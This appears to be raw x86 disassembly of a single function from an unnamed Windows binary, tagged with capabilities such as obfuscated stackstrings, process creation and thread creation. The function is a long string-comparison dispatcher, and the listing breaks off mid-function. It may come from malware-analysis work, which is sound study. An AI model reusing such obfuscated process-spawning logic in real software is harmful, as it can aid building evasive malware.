Function at 0x51e110
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Create thread

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x576e4f
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebx
sub esp, 0x2a0
push ebx
push esi
mov esi, ecx
mov dword [ebp - 0x48], 0
push edi
mov edx, 0x5b4778
mov dword [ebp - 0x10], esp
lea ecx, [ebp - 0x60]
mov dword [ebp - 0x38], esi
call fcn.00440770
mov edi, dword [ebx + 8]
mov edx, eax
test edi, edi
je 0x51e1a3
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51e173
sub ecx, dword [ebp - 0x24]
je 0x51e1a3
mov eax, dword [edx + 0x10]
test eax, eax
je 0x51e1a3
cmp dword [edx + 0x14], 0x10
jb 0x51e18e
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005558f0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x51e1aa
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x51e1de
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51e1d4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x521ab9
push ecx
push edx
call fcn.00544491
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x51e1f6
mov eax, dword [esi + 0xc]
mov dword [eax + 0x110], 1
jmp 0x521aa1
mov edx, 0x5b4790
lea ecx, [ebp - 0x60]
call fcn.00440770
mov edx, eax
test edi, edi
je 0x51e241
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51e211
sub ecx, dword [ebp - 0x24]
je 0x51e241
mov eax, dword [edx + 0x10]
test eax, eax
je 0x51e241
cmp dword [edx + 0x14], 0x10
jb 0x51e22c
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005558f0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x51e248
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x51e27c
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51e272
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x521abe
push ecx
push edx
call fcn.00544491
add esp, 8
cmp dword [ebp - 0x1c], 0
jne 0x51e871
mov edx, 0x5b4808
lea ecx, [ebp - 0x60]
call fcn.00440770
mov edx, eax
test edi, edi
je 0x51e2d1
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51e2a1
sub ecx, dword [ebp - 0x24]
je 0x51e2d1
mov eax, dword [edx + 0x10]
test eax, eax
je 0x51e2d1
cmp dword [edx + 0x14], 0x10
jb 0x51e2bc
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005558f0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x51e2d8
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x51e30c
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51e302
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x521ac3
push ecx
push edx
call fcn.00544491
add esp, 8
cmp dword [ebp - 0x1c], 0
jne 0x51e914
mov edx, 0x5b47f0
lea ecx, [ebp - 0x60]
call fcn.00440770
mov edx, eax
test edi, edi
je 0x51e361
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51e331
sub ecx, dword [ebp - 0x24]
je 0x51e361
mov eax, dword [edx + 0x10]
test eax, eax
je 0x51e361
cmp dword [edx + 0x14], 0x10
jb 0x51e34c
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005558f0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x51e368
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x51e39c
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51e392
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x521ac8
push ecx
push edx
call fcn.00544491
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x51e450
push 0x30
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
push str.eSBfbm4gHjgeeSBxZm11XXVnbGJtdSA4IHFjcnJnbGVxIHt7
lea ecx, [ebp - 0x9c]
mov dword [ebp - 0x88], 0
movups xmmword [ebp - 0x9c], xmm0
call fcn.00429670
push 2
push ecx
mov dword [ebp - 4], 0
lea eax, [ebp - 0x9c]
mov edi, dword [esi + 0x10]
mov esi, esp
sub esp, 0x18
mov ecx, esp
push eax
call fcn.00429ac0
mov ecx, esi
call fcn.004408a0
add esp, 0x18
mov ecx, edi
call fcn.0045afc0
mov ecx, dword [ebp - 0x88]
cmp ecx, 8
jb 0x521aa1
mov edx, dword [ebp - 0x9c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x51e441
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x521afa
push ecx
push edx
call fcn.00544491
add esp, 8
jmp 0x521aa1
mov edx, 0x5b4820
lea ecx, [ebp - 0x60]
call fcn.00440770
mov edx, eax
test edi, edi
je 0x51e4a0
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51e470
sub ecx, dword [ebp - 0x24]
je 0x51e4a0
mov eax, dword [edx + 0x10]
test eax, eax
je 0x51e4a0
cmp dword [edx + 0x14], 0x10
jb 0x51e48b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005558f0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x51e4a7
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x51e4db
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51e4d1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x521acd
push ecx
push edx
call fcn.00544491
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x51e58f
push 0x2c
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
push str.eSBfbm4gHjgeeSBxZm11XXVnbGJtdSA4IGtfZ2wge3s
lea ecx, [ebp - 0x9c]
mov dword [ebp - 0x88], 0
movups xmmword [ebp - 0x9c], xmm0
call fcn.00429670
push 1
push ecx
mov dword [ebp - 4], 1
lea eax, [ebp - 0x9c]
mov edi, dword [esi + 0x10]
mov esi, esp
sub esp, 0x18
mov ecx, esp
push eax
call fcn.00429ac0
mov ecx, esi
call fcn.004408a0
add esp, 0x18
mov ecx, edi
call fcn.0045afc0
mov ecx, dword [ebp - 0x88]
cmp ecx, 8
jb 0x521aa1
mov edx, dword [ebp - 0x9c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x51e580
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x521afa
push ecx
push edx
call fcn.00544491
add esp, 8
jmp 0x521aa1
mov edx, 0x5b4838
lea ecx, [ebp - 0x60]
call fcn.00440770
mov edx, eax
test edi, edi
je 0x51e5e0
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51e5b0
sub ecx, dword [ebp - 0x24]
je 0x51e5e0
mov eax, dword [edx + 0x10]
test eax, eax
je 0x51e5e0
cmp dword [edx + 0x14], 0x10
jb 0x51e5cb
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005558f0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x51e5e7
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x51e61b
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51e611
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x521ad2
push ecx
push edx
call fcn.00544491
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x51e630
mov ecx, dword [esi + 0xc]
push 0
call fcn.0041a430
jmp 0x521aa1
mov edx, 0x5b4970
lea ecx, [ebp - 0x60]
call fcn.00440770
mov edx, eax
test edi, edi
je 0x51e680
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51e650
sub ecx, dword [ebp - 0x24]
je 0x51e680
mov eax, dword [edx + 0x10]
test eax, eax
je 0x51e680
cmp dword [edx + 0x14], 0x10
jb 0x51e66b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005558f0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x51e687
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x51e6bb
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51e6b1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x521ad7
push ecx
push edx
call fcn.00544491
add esp, 8
cmp dword [ebp - 0x1c], 0
jne 0x51ec25
mov edx, 0x5b4988
lea ecx, [ebp - 0x60]
call fcn.00440770
mov edx, eax
test edi, edi
je 0x51e710
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51e6e0
sub ecx, dword [ebp - 0x24]
je 0x51e710
mov eax, dword [edx + 0x10]
test eax, eax
je 0x51e710
cmp dword [edx + 0x14], 0x10
jb 0x51e6fb
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005558f0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x51e717
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x51e74b
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51e741
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x521adc
push ecx
push edx
call fcn.00544491
add esp, 8
cmp dword [ebp - 0x1c], 0
jne 0x51ecc1
mov edx, 0x5b4a60
lea ecx, [ebp - 0x60]
call fcn.00440770
mov edx, eax
test edi, edi
je 0x51e7a0
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51e770
sub ecx, dword [ebp - 0x24]
je 0x51e7a0
mov eax, dword [edx + 0x10]
test eax, eax
je 0x51e7a0
cmp dword [edx + 0x14], 0x10
jb 0x51e78b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005558f0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x51e7a7
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x51e7db
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51e7d1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x521ae1
push ecx
push edx
call fcn.00544491
add esp, 8
cmp dword [ebp - 0x1c], 0
jne 0x51ed61
mov edx, 0x5b4790
lea ecx, [ebp - 0x60]
call fcn.00440770
mov edx, eax
test edi, edi
je 0x51e830
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51e800
sub ecx, dword [ebp - 0x24]
je 0x51e830
mov eax, dword [edx + 0x10]
test eax, eax
je 0x51e830
cmp dword [edx + 0x14], 0x10
jb 0x51e81b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005558f0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x51e837
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x51e86b
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51e861
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x521ae6
push ecx
push edx
call fcn.00544491
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x51e888
mov eax, dword [esi + 0xc]
mov byte [eax + 0x102], 1
mov ecx, dword [esi + 0xc]
call fcn.0041ae00
jmp 0x521aa1
mov edx, 0x5b4808
lea ecx, [ebp - 0x60]
call fcn.00440770
mov edx, eax
test edi, edi
je 0x51e8d3
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51e8a3
sub ecx, dword [ebp - 0x24]
je 0x51e8d3
mov eax, dword [edx + 0x10]
test eax, eax
je 0x51e8d3
cmp dword [edx + 0x14], 0x10
jb 0x51e8be
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005558f0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x51e8da
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x51e90e
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51e904
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x521aeb
push ecx
push edx
call fcn.00544491
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x51e923
mov ecx, dword [esi + 0xc]
push 1
call fcn.0041a430
jmp 0x521aa1
mov edx, 0x5b47f0
lea ecx, [ebp - 0x60]
call fcn.00440770
mov edx, eax
test edi, edi
je 0x51e970
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51e940
sub ecx, dword [ebp - 0x24]
je 0x51e970
mov eax, dword [edx + 0x10]
test eax, eax
je 0x51e970
cmp dword [edx + 0x14], 0x10
jb 0x51e95b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005558f0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x51e977
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x51e9ab
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51e9a1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x521af0
push ecx
push edx
call fcn.00544491
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x51ea5f
push 0x30
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
push str.eSBfbm4gHjgeeSBxZm11XXVnbGJtdSA4IHFjcnJnbGVxIHt7
lea ecx, [ebp - 0x9c]
mov dword [ebp - 0x88], 0
movups xmmword [ebp - 0x9c], xmm0
call fcn.00429670
push 2
push ecx
mov dword [ebp - 4], 2
lea eax, [ebp - 0x9c]
mov edi, dword [esi + 0x10]
mov esi, esp
sub esp, 0x18
mov ecx, esp
push eax
call fcn.00429ac0
mov ecx, esi
call fcn.004408a0
add esp, 0x18
mov ecx, edi
call fcn.0045afc0
mov ecx, dword [ebp - 0x88]
cmp ecx, 8
jb 0x521aa1
mov edx, dword [ebp - 0x9c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x51ea50
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x521afa
push ecx
push edx
call fcn.00544491
add esp, 8
jmp 0x521aa1
mov edx, 0x5b4820
lea ecx, [ebp - 0x60]
call fcn.00440770
mov edx, eax
test edi, edi
je 0x51eab0
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51ea80
sub ecx, dword [ebp - 0x24]
je 0x51eab0
mov eax, dword [edx + 0x10]
test eax, eax
je 0x51eab0
cmp dword [edx + 0x14], 0x10
jb 0x51ea9b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005558f0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x51eab7
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x51eaeb
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51eae1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x521af5
push ecx
push edx
call fcn.00544491
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x51eb99
push 0x2c
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
push str.eSBfbm4gHjgeeSBxZm11XXVnbGJtdSA4IGtfZ2wge3s
lea ecx, [ebp - 0x9c]
mov dword [ebp - 0x88], 0
movups xmmword [ebp - 0x9c], xmm0
call fcn.00429670
push 1
push ecx
mov dword [ebp - 4], 3
lea eax, [ebp - 0x9c]
mov edi, dword [esi + 0x10]
mov esi, esp
sub esp, 0x18
mov ecx, esp
push eax
call fcn.00429ac0
mov ecx, esi
call fcn.004408a0
add esp, 0x18
mov ecx, edi
call fcn.0045afc0
mov ecx, dword [ebp - 0x88]
cmp ecx, 8
jb 0x521aa1
mov edx, dword [ebp - 0x9c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x51ea50
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x521afa
jmp 0x51ea50
mov edx, 0x5b4970
lea ecx, [ebp - 0x60]
call fcn.00440770
mov edx, eax
test edi, edi
je 0x51ebe4
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51ebb4
sub ecx, dword [ebp - 0x24]
je 0x51ebe4
mov eax, dword [edx + 0x10]
test eax, eax
je 0x51ebe4
cmp dword [edx + 0x14], 0x10
jb 0x51ebcf
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005558f0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x51ebeb
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x51ec1f
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51ec15
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x521aff
push ecx
push edx
call fcn.00544491
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x51ec32
mov ecx, dword [esi + 0xc]
call fcn.004063b0
jmp 0x521aa1
mov edx, 0x5b4988
lea ecx, [ebp - 0x60]
call fcn.00440770
mov edx, eax
test edi, edi
je 0x51ec80
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51ec50
sub ecx, dword [ebp - 0x24]
je 0x51ec80
mov eax, dword [edx + 0x10]
test eax, eax
je 0x51ec80
cmp dword [edx + 0x14], 0x10
jb 0x51ec6b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005558f0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x51ec87
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x51ecbb
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51ecb1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x521b04
push ecx
push edx
call fcn.00544491
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x51ecce
mov ecx, dword [esi + 0xc]
call fcn.00406690
jmp 0x521aa1
mov edx, 0x5b4a60
lea ecx, [ebp - 0x60]
call fcn.00440770
mov edx, eax
test edi, edi
je 0x51ed20
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51ecf0
sub ecx, dword [ebp - 0x24]
je 0x51ed20
mov eax, dword [edx + 0x10]
test eax, eax
je 0x51ed20
cmp dword [edx + 0x14], 0x10
jb 0x51ed0b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005558f0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x51ed27
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x51ed5b
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51ed51
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x521b09
push ecx
push edx
call fcn.00544491
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x51ed6e
mov ecx, dword [esi + 0xc]
call fcn.0041b1d0
jmp 0x521aa1
mov edx, 0x5b4850
lea ecx, [ebp - 0x60]
call fcn.00440770
mov edx, eax
test edi, edi
je 0x51edc0
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51ed90
sub ecx, dword [ebp - 0x24]
je 0x51edc0
mov eax, dword [edx + 0x10]
test eax, eax
je 0x51edc0
cmp dword [edx + 0x14], 0x10
jb 0x51edab
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005558f0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x51edc7
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x51edfb
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51edf1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x521b0e
push ecx
push edx
call fcn.00544491
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x51ee10
mov ecx, dword [esi + 0xc]
push 1
call fcn.00407470
jmp 0x521aa1
mov edx, 0x5b4868
lea ecx, [ebp - 0x60]
call fcn.00440770
mov edx, eax
test edi, edi
je 0x51ee60
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51ee30
sub ecx, dword [ebp - 0x24]
je 0x51ee60
mov eax, dword [edx + 0x10]
test eax, eax
je 0x51ee60
cmp dword [edx + 0x14], 0x10
jb 0x51ee4b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005558f0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x51ee67
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x51ee9b
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51ee91
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x521b13
push ecx
push edx
call fcn.00544491
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x51eeb0
mov ecx, dword [esi + 0xc]
push 0
call fcn.00407470
jmp 0x521aa1
mov edx, 0x5b4880
lea ecx, [ebp - 0x60]
call fcn.00440770
mov edx, eax
test edi, edi
je 0x51eefa
mov ecx, edi
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51eec8
sub ecx, esi
je 0x51eefa
mov esi, dword [edx + 0x10]
test esi, esi
je 0x51eefa
cmp dword [edx + 0x14], 0x10
mov dword [ebp - 0x64], esi
jb 0x51eee5
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.005558f0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x51ef04
mov esi, dword [ebp - 0x64]
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x51ef38
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51ef2e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x521b18
push ecx
push edx
call fcn.00544491
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x51f02b
xorps xmm0, xmm0
mov dword [ebp - 0x138], 0
movups xmmword [ebp - 0x148], xmm0
mov dword [ebp - 0x134], 0xf
mov byte [ebp - 0x148], 0
mov ecx, edi
mov dword [ebp - 4], 4
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51ef73
sub ecx, edx
lea eax, [ebp - 0x148]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x28]
call fcn.00521fb0
mov eax, dword [ebp - 0x38]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x24], eax
call fcn.0054956d
cmp dword [ebp - 0x134], 0x10
lea esi, [ebp - 0x148]
mov edi, eax
lea eax, [ebp - 0x48]
cmovae esi, dword [ebp - 0x148]
push 0xa
push eax
push esi
mov dword [edi], 0
call fcn.0054ae9e
add esp, 0x14
cmp esi, dword [ebp - 0x48]
je 0x521b1d
cmp dword [edi], 0x22
je 0x521b27
mov ecx, dword [ebp - 0x24]
test eax, eax
setne al
movzx eax, al
push eax
call fcn.00407750
mov ecx, dword [ebp - 0x134]
cmp ecx, 0x10
jb 0x521aa1
mov edx, dword [ebp - 0x148]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51ea50
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x521b31
jmp 0x51ea50
mov edx, 0x5b4730
lea ecx, [ebp - 0x60]
call fcn.00440770
mov edx, eax
test edi, edi
je 0x51f07b
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51f046
sub ecx, dword [ebp - 0x24]
je 0x51f07b
mov eax, dword [edx + 0x10]
test eax, eax
je 0x51f07b
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x64], esi
jb 0x51f066
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.005558f0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x51f082
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x51f0b6
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51f0ac
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x521b36
push ecx
push edx
call fcn.00544491
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x51f1c2
xorps xmm0, xmm0
mov dword [ebp - 0xa4], 0
movups xmmword [ebp - 0xb4], xmm0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
mov ecx, edi
mov dword [ebp - 4], 5
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51f0f1
sub ecx, edx
lea eax, [ebp - 0xb4]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x28]
call fcn.00521fb0
add esp, 8
lea ecx, [ebp - 0x1b8]
call fcn.004302b0
mov byte [ebp - 4], 6
lea ecx, [ebp - 0xb4]
cmp dword [ebp - 0xa0], 0x10
mov eax, dword [ebp - 0xa4]
